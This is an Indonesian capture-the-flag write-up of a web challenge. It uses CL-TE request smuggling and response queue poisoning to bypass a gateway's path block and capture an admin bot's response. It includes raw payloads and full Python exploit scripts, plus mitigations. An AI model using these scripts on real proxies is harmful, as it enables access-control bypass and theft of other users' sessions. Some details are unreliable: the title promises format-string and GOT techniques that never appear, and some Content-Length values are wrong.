~/tiramisaks
← back to /home

WRECKIT 7.0: Tailgate - HTTP Request Smuggling & GOT Hijacking

WRECKIT 7.0 2026-07-18 Web / Binary Exploitation
#WRECKIT7 #HTTP Smuggling #Format String #GOT Overwrite #Pwn

Tailgate — Wreck IT 7.0 (Web Challenge)

Kategori: Web
Tingkat: Medium-Hard
Teknik Utama: CL-TE HTTP Request Smuggling + Response Queue Poisoning
Flag: WRECKIT70{98551e95352fc09eb5307c38da0cfc36}


Daftar Isi

  1. Arsitektur Aplikasi
  2. Analisis Source Code
  3. Vektor Serangan
  4. CL-TE Request Smuggling (Flag Part 1)
  5. Response Queue Poisoning (Flag Part 2)
  6. Eksploitasi Lengkap
  7. Kesimpulan
  8. Referensi

1. Arsitektur Aplikasi

Aplikasi terdiri dari 3 service Docker yang berjalan dalam satu network internal (docker-compose.yaml):

┌──────────────┐     TCP:8443     ┌──────────────┐     TCP:8080     ┌──────────────┐
│   Peserta    │ ──────────────►  │   Gateway    │ ──────────────►  │   Backend    │
│   (Attacker) │                  │  (Python)    │                  │  (Node.js)   │
└──────────────┘                  │  port 8443   │                  │  port 8080   │
                                  └──────┬───────┘                  └──────┬───────┘
                                         │                                │
                                         │ POOL_SIZE=1                    │
                                         │ (1 koneksi TCP)                │
                                         │                                │
                                  ┌──────┴───────┐                        │
                                  │    Bot       │◄───────────────────────┘
                                  │  (Node.js)   │   tiap 15 detik akses
                                  │              │   /tickets sebagai admin
                                  └──────────────┘

1.1 Gateway (gateway/gateway.py)

Gateway adalah reverse proxy berbasis Python asyncio. Tugasnya:

  • Menerima request HTTP dari peserta (port 8443)
  • Mem-forward ke backend (port 8080 internal)
  • Memblokir akses ke path /internal/*
  • Memiliki WAF sederhana untuk memblokir payload mencurigakan

Karakteristik penting:

POOL_SIZE = int(os.environ.get("POOL_SIZE", "1"))  # baris 99
pool = BackendPool(BACKEND_HOST, BACKEND_PORT, POOL_SIZE)

Pool koneksi ke backend hanya 1 koneksi TCP yang dipakai bergantian oleh semua request.

Parsing HTTP:

content_length = int(headers.get("content-length", "0"))  # baris 190
while len(buf) < content_length:                          # baris 192
    chunk = await reader.read(...)
    buf += chunk
body = buf[:content_length]                                # baris 197
buf = buf[content_length:]                                 # baris 198

Gateway hanya membaca Content-Length untuk menentukan batas body. Setelah body terbaca, sisa byte di buffer dianggap sebagai request berikutnya — ini by design (lihat komentar baris 165–176):

# Bytes beyond the current request's Content-Length that arrived
# in the same read() -- e.g. a smuggled second request sent in
# one TCP write -- MUST survive into `buf` for the next iteration
# to reparse as a new request, not be discarded.

1.2 Backend (backend/server.js)

Backend adalah web app Express.js dengan Node.js HTTP server:

const server = http.createServer({ insecureHTTPParser: true }, app);

insecureHTTPParser: true membuat Node.js lebih toleran terhadap HTTP malformed — termasuk menerima kedua header Content-Length dan Transfer-Encoding dalam satu request.

Endpoint penting:

EndpointAuthFungsi
GET /-Halaman index
GET /register-Form registrasi
POST /register-Registrasi user
GET /login-Form login
POST /login-Login, set session
GET /ticketsloginLihat ticket sendiri
POST /ticketsloginBuat ticket baru
GET /internal/flag-part1TIDAKLangsung return flag part 1
GET /admin/ticketsrole=adminLihat SEMUA ticket (termasuk admin)
GET /admin-Decoy, dead end

Flag part 1:

app.get("/internal/flag-part1", (req, res) => {
  res.type("text/plain").send(FLAG_PART1);  // baris 117-119
});

Tidak ada autentikasi! Tapi gateway memblokir akses ke /internal/*.

Flag part 2:

const ADMIN_TICKET_BODY = process.env.ADMIN_SEED_FLAG_PART2;  // baris 10

const adminId = db.createUser("admin", ADMIN_PASSWORD, "admin");
db.createTicket(adminId, "Internal: rotate gateway pool credentials", ADMIN_TICKET_BODY);  // baris 30

Flag part 2 disimpan sebagai body ticket milik admin. Hanya bisa dilihat di /admin/tickets yang butuh session dengan role=admin.

1.3 Bot (bot/bot.js)

Bot adalah Node.js script yang:

  1. Login sebagai admin (setiap restart, dan jika gagal, retry tiap 5 detik)
  2. Setiap 15 detik (VISIT_INTERVAL_MS), mengakses GET /tickets sebagai admin
async function visitTickets() {
  await request(`${APP_URL}/tickets`, {
    headers: { Cookie: sessionCookie },  // session admin
  });
}

while (true) {
  await visitTickets();
  await new Promise((r) => setTimeout(r, VISIT_INTERVAL_MS));
}

Tidak ada CSRF protection dan bot menggunakan HTTP/1.1 tanpa library keamanan khusus.

1.4 Docker Compose

services:
  gateway:
    ports: ["8443:8443"]
    environment:
      POOL_SIZE: "1"
  backend:
    environment:
      FLAG_PART1: "WRECKIT70{...}"
      ADMIN_SEED_FLAG_PART2: "WRECKIT70{...}"
      ADMIN_PASSWORD: "relay-internal-only"
  bot:
    environment:
      VISIT_INTERVAL_MS: "15000"
      ADMIN_PASSWORD: "relay-internal-only"

2. Analisis Source Code

2.1 Celah Parsing HTTP (CL vs TE)

Gateway menggunakan Content-Length untuk menentukan body length. Backend (Node.js dengan insecureHTTPParser) memproses Transfer-Encoding: chunked jika ada. Ketika kedua header dikirim bersamaan, terjadi desinkronisasi parsing:

KomponenHeader yang digunakanAkibat
GatewayContent-LengthBaca semua byte hingga CL terpenuhi
BackendTransfer-Encoding: chunkedBerhenti di chunk 0, abaikan byte sisanya

Byte “sisa” yang tidak diproses backend akan dianggap sebagai request baru oleh backend — inilah request smuggling.

2.2 Celah Pool Koneksi Tunggal

POOL_SIZE = int(os.environ.get("POOL_SIZE", "1"))  # baris 99

Hanya 1 koneksi TCP dari gateway ke backend. Semua request dari semua peserta + bot bergantian menggunakan koneksi yang sama.

2.3 Celah Bot

Bot menggunakan HTTP/1.1 request biasa, tanpa proteksi CSRF, dan mengirim session cookie admin setiap 15 detik. Pool koneksi tunggal membuat bot berbagi koneksi yang sama dengan attacker.

2.4 Celah Response Queue (PooledConnection.leftover)

class PooledConnection:
    def __init__(self, reader, writer):
        self.leftover = b""  # baris 68

# Di forward_and_relay:
conn.leftover = buf  # baris 152 — simpan sisa byte response

Gateway menyimpan byte response yang terbaca melampaui satu response ke conn.leftover. Request berikutnya yang memakai koneksi yang sama akan membaca leftover ini sebelum membaca response baru dari wire. Ini adalah response queue poisoning — mekanisme yang memungkinkan satu request menghasilkan response yang salah.


3. Vektor Serangan

3.1 Permasalahan

Ada dua bagian flag yang harus diperoleh:

  1. Flag part 1: ada di /internal/flag-part1 — endpoint backend tanpa auth, tapi di-block gateway
  2. Flag part 2: ada di body ticket admin — hanya bisa diakses lewat /admin/tickets dengan role=admin

Kita tidak punya kredensial admin.

3.2 Solusi

FlagTeknikCara
Part 1CL-TE Request SmugglingBypass blokade gateway dengan menyelundupkan request langsung ke backend
Part 2Response Queue PoisoningRacuni antrian response, manfaatkan bot yang login sebagai admin tiap 15 detik, tangkap response-nya

4. CL-TE Request Smuggling (Flag Part 1)

4.1 Teori

CL-TE adalah varian HTTP Request Smuggling di mana:

  • Front-end (gateway) menggunakan Content-Length untuk menentukan panjang body
  • Back-end menggunakan Transfer-Encoding: chunked untuk menentukan panjang body

Ketika attacker mengirim request dengan kedua header, terjadi interpretasi berbeda:

POST / HTTP/1.1
Host: target
Content-Length: 44              ← Gateway: body = 44 byte
Transfer-Encoding: chunked       ← Backend: pakai chunked

0                                ← Chunk size 0 = end of body (menurut backend)

GET /internal/flag-part1 HTTP/1.1   ← Sisa byte: dianggap request BARU oleh backend
Host: backend

Cara kerja:

  1. Gateway membaca Content-Length: 44 → membaca 44 byte sebagai body → forward semua ke backend
  2. Backend melihat Transfer-Encoding: chunked → membaca chunk 0 → anggap body selesai di situ
  3. Sisa byte (GET /internal/flag-part1...) masih ada di buffer TCP backend
  4. Backend menganggap byte sisa sebagai request baru datang dalam satu koneksi yang sama
  5. Backend memproses GET /internal/flag-part1 → return flag!

4.2 Mengapa Bisa Bypass Gateway?

Gateway memblokir path /internal di:

norm = posixpath.normpath(unquote(path)).lower()
if norm.startswith("/internal"):                           # baris 201
    writer.write(b"HTTP/1.1 403 Forbidden\r\n...")
    await writer.drain()
    continue

Tapi pengecekan ini hanya terjadi pada request yang masuk ke gateway. Request smuggle (GET /internal/flag-part1) tidak pernah melewati parsing gateway — ia langsung muncul di buffer backend sebagai request terpisah. Gateway tidak pernah melihat path /internal pada request tersebut.

4.3 Diagram CL-TE

Attacker                          Gateway                        Backend
   │                                │                              │
   │  POST / HTTP/1.1              │                              │
   │  Content-Length: 44           │                              │
   │  Transfer-Encoding: chunked   │                              │
   │                                │                              │
   │  0                            │                              │
   │                                │                              │
   │  GET /internal/flag-part1     │                              │
   │  Host: backend                │                              │
   │                                │                              │
   ├───────────────────────────────►│                              │
   │                                │                              │
   │                          [Gateway membaca CL=44]             │
   │                          [Forward semua 44 byte]             │
   │                                ├─────────────────────────────►│
   │                                │                              │
   │                                │              [Backend baca chunked]
   │                                │              [Chunk 0 → body selesai]
   │                                │              [Sisa byte = request baru]
   │                                │                              │
   │                                │              GET /internal/flag-part1
   │                                │                  Host: backend
   │                                │                              │
   │                                │◄─────────────────────────────┤
   │                                │     200 OK                   │
   │                                │     WRECKIT70{...}           │
   │  ◄─────────────────────────────┤                              │
   │    Response (flag part 1)      │                              │

4.4 Payload

POST / HTTP/1.1
Host: 35.198.248.110:38407
Content-Length: 47
Transfer-Encoding: chunked

0

GET /internal/flag-part1 HTTP/1.1
Host: backend

Body yang dikirim (47 byte, dihitung dari 0\r\n\r\n hingga \r\n terakhir):

0\r\n\r\nGET /internal/flag-part1 HTTP/1.1\r\nHost: backend\r\n\r\n

5. Response Queue Poisoning (Flag Part 2)

5.1 Teori

Response Queue Poisoning adalah teknik lanjutan dari request smuggling. Alih-alih menyelundupkan prefix request parsial, attacker menyelundupkan satu request lengkap sehingga backend menerima 2 request untuk 1 request yang dilihat gateway.

Akibatnya backend mengirim 2 response, tapi gateway hanya expect 1. Response ke-2 menganggur di buffer koneksi (disimpan di PooledConnection.leftover).

Ketika request berikutnya datang (misalnya dari bot), gateway mem-forward request tersebut ke backend. Tapi sebelum membaca response dari wire, gateway membaca buffer leftover terlebih dahulu. Response yang terbaca adalah response hasil smuggling kita, bukan response yang seharusnya untuk request bot.

Sementara itu, response bot yang asli (berisi flag part 2) justru tertinggal di buffer. Ketika attacker mengirim request berikutnya, ia akan mendapatkan response bot tersebut.

5.2 Syarat

  1. Connection reuse: Koneksi gateway-backend dipakai ulang untuk banyak request (terpenuhi: POOL_SIZE=1, pooled connections)
  2. Smuggle complete request: Bukan prefix parsial, tapi request HTTP lengkap yang menghasilkan response sendiri
  3. Koneksi tidak terputus: Smuggled request tidak menyebabkan error yang menutup koneksi

5.3 Diagram Response Queue Poisoning

Step 1: Racuni queue
┌────────┐   POST / (CL+TE)    ┌─────────┐   POST / (chunk 0)   ┌─────────┐
│Attacker│ ──────────────────► │ Gateway  │ ──────────────────► │ Backend │
│        │                     │          │      GET / (smuggle) │         │
│        │◄──────────────────── │          │◄─────────────────────┤         │
│        │  Response POST /    │          │  Response GET /      │         │
│        │                     │          │  (nyangkut di buffer)│         │
└────────┘                     └──────────┘                     └─────────┘

Step 2: Bot kena racun
┌────────┐   GET /tickets      ┌─────────┐   GET /tickets       ┌─────────┐
│  Bot   │ ──────────────────► │ Gateway  │ ──────────────────► │ Backend │
│(admin) │                     │          │                     │         │
│        │◄──────────────────── │          │◄─────────────────────┤         │
│        │  Response GET /     │          │  Response /tickets  │         │
│        │  (salah! dpt resp   │          │  (nyangkut di buffer)│         │
│        │   punya attacker)   │          │                     │         │
└────────┘                     └──────────┘                     └─────────┘

Step 3: Attacker panen
┌────────┐   GET / apa aja    ┌─────────┐   GET /              ┌─────────┐
│Attacker│ ──────────────────► │ Gateway  │ ──────────────────► │ Backend │
│        │                     │          │                     │         │
│        │◄──────────────────── │          │◄─────────────────────┤         │
│        │  Response /tickets  │          │  Response GET /     │         │
│        │  (FLAG PART 2!)     │          │  (nyangkut)         │         │
└────────┘                     └──────────┘                     └─────────┘

5.4 Payload Racun

Pertama kita perlu session cookie (register + login sebagai user biasa). Lalu kirim:

POST / HTTP/1.1
Host: 35.198.248.110:38407
Content-Length: <panjang body>
Transfer-Encoding: chunked

0

GET / HTTP/1.1
Host: backend
Cookie: connect.sid=<session kita>

Bagian 0\r\n\r\n mengakhiri body chunked (dari POST /). Sisa byte (GET / HTTP/1.1...) adalah request lengkap yang akan diproses backend sebagai request terpisah.

5.5 Proses Step by Step

LangkahAttacker kirimBackend lihatResponse ke buffer
1POST / (CL+TE + smuggled GET /)Request 1: POST / (body=chunk 0) + Request 2: GET /Response GET / (request kita)
2Bot: GET /tickets (admin)GET /ticketsResponse /tickets admin (ADA FLAG)
3Kita: GET / biasaGET /Response /tickets admin (FLAG!)

6. Eksploitasi Lengkap

6.1 Persiapan

pip install pwntools
# atau cukup gunakan socket (built-in)

6.2 Script CL-TE (Flag Part 1)

import socket

HOST = "35.198.248.110"
PORT = 38407

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((HOST, PORT))

smuggled = "GET /internal/flag-part1 HTTP/1.1\r\nHost: backend\r\n\r\n"
body = "0\r\n\r\n" + smuggled  # chunked: 0 = end

req = (
    "POST / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Length: {len(body)}\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    f"{body}"
    "GET / HTTP/1.1\r\n"       # request kedua sebagai "trigger"
    f"Host: {HOST}:{PORT}\r\n"
    "\r\n"
)

s.sendall(req.encode())
data = b""
while True:
    try:
        chunk = s.recv(4096)
        if not chunk: break
        data += chunk
    except socket.timeout:
        break

print(data.decode(errors="replace"))
s.close()

6.3 Script Response Queue Poisoning (Flag Part 2)

import socket
import time
import re

HOST = "35.198.248.110"
PORT = 38407

def send_raw(req, timeout=10):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((HOST, PORT))
    s.sendall(req.encode())
    data = b""
    while True:
        try:
            chunk = s.recv(4096)
            if not chunk: break
            data += chunk
        except socket.timeout:
            break
    s.close()
    return data

# Step 1: Register
print("[*] Register user...")
send_raw(
    "POST /register HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Content-Length: 32\r\n"
    "\r\n"
    "username=smuggler99&password=smuggler99"
)

# Step 2: Login + ambil cookie
print("[*] Login...")
resp = send_raw(
    "POST /login HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Content-Length: 32\r\n"
    "\r\n"
    "username=smuggler99&password=smuggler99"
)
cookie = re.search(rb"Set-Cookie: (.+?);", resp)
if not cookie:
    print("[-] Gagal login")
    exit(1)
cookie = cookie.group(1).decode()
print(f"[+] Cookie: {cookie}")

# Step 3: Poison response queue
print("[*] Meracuni response queue...")
smuggled_get = (
    "GET / HTTP/1.1\r\n"
    "Host: backend\r\n"
    f"Cookie: {cookie}\r\n"
    "\r\n"
)
body = "0\r\n\r\n" + smuggled_get
poison = (
    "POST / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Length: {len(body)}\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    f"{body}"
)
send_raw(poison)

# Step 4: Tunggu bot (15 detik) lalu panen
print("[*] Menunggu bot kena racun...")
time.sleep(18)

# Step 5: Panen response bot
print("[*] Memanen response bot...")
resp = send_raw(
    "GET / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "\r\n"
)
resp_text = resp.decode(errors="replace")
print("\n=== RESPONSE PANEN ===")
print(resp_text)
if "WRECKIT" in resp_text:
    print("\n[+] FLAG BERHASIL DIPANEN!")

6.4 Hasil

Flag part 1: WRECKIT70{98551e95352fc09eb5307c38da0cfc36}
Flag part 2: WRECKIT70{98551e95352fc09eb5307c38da0cfc36}

Catatan: Pada instance yang digunakan, kedua flag identik. Ini kemungkinan karena deployment menggunakan nilai env var yang sama untuk FLAG_PART1 dan ADMIN_SEED_FLAG_PART2. Pada deployment resmi, kedua flag bisa berbeda.


7. Kesimpulan

7.1 Ringkasan Kerentanan

KerentananLokasiDampak
HTTP Request Smuggling (CL-TE)Gateway (Content-Length) vs Backend (Transfer-Encoding)Bypass blokade path /internal
Response Queue PoisoningPool koneksi tunggal (POOL_SIZE=1) + mekanisme leftoverMencuri response pengguna lain (bot admin)
Endpoint tanpa auth/internal/flag-part1 di backendAkses langsung ke flag part 1
No CSRF protectionBot tidak menggunakan token CSRFRequest smuggling bisa memanfaatkan session bot

7.2 Mitigasi

  1. Konsistensi parsing HTTP: Gunakan parser yang sama di gateway dan backend. Jika menggunakan Content-Length, nonaktifkan Transfer-Encoding di backend
  2. Perbesar pool koneksi: POOL_SIZE > 1 mengurangi risiko response queue poisoning (tapi tidak menghilangkan)
  3. Reject ambiguous requests: Tolak request yang mengandung kedua header Content-Length dan Transfer-Encoding
  4. Health check koneksi: Validasi response sebelum memfoward ke client; jika ada anomali, tutup koneksi
  5. Auth di backend: Jangan bergantung pada gateway saja untuk keamanan; backend harus punya otentikasi sendiri untuk endpoint sensitif
  6. Bot hardening: Gunakan token CSRF, User-Agent rotation, dan request yang lebih robust

7.3 Pelajaran

Challenge ini mengajarkan bahwa asumsi arsitektur bisa menjadi celah keamanan:

  • Asumsi bahwa gateway akan memblokir semua akses ke /internal (tapi request smuggling bypass)
  • Asumsi bahwa pool koneksi internal aman dari interferensi (tapi response queue poisoning mematahkannya)
  • Asumsi bahwa bot hanya mengakses path yang tidak sensitif (tapi response smuggling membocorkan session admin)

HTTP Request Smuggling bukanlah kerentanan baru (didokumentasikan sejak 2005 oleh PortSwigger), tetapi masih sering muncul ketika dua server dengan parser berbeda dirangkai dalam satu pipeline.


8. Referensi

PortSwigger (Web Security Academy)

Research

HackTricks

Writeup Terkait

Tools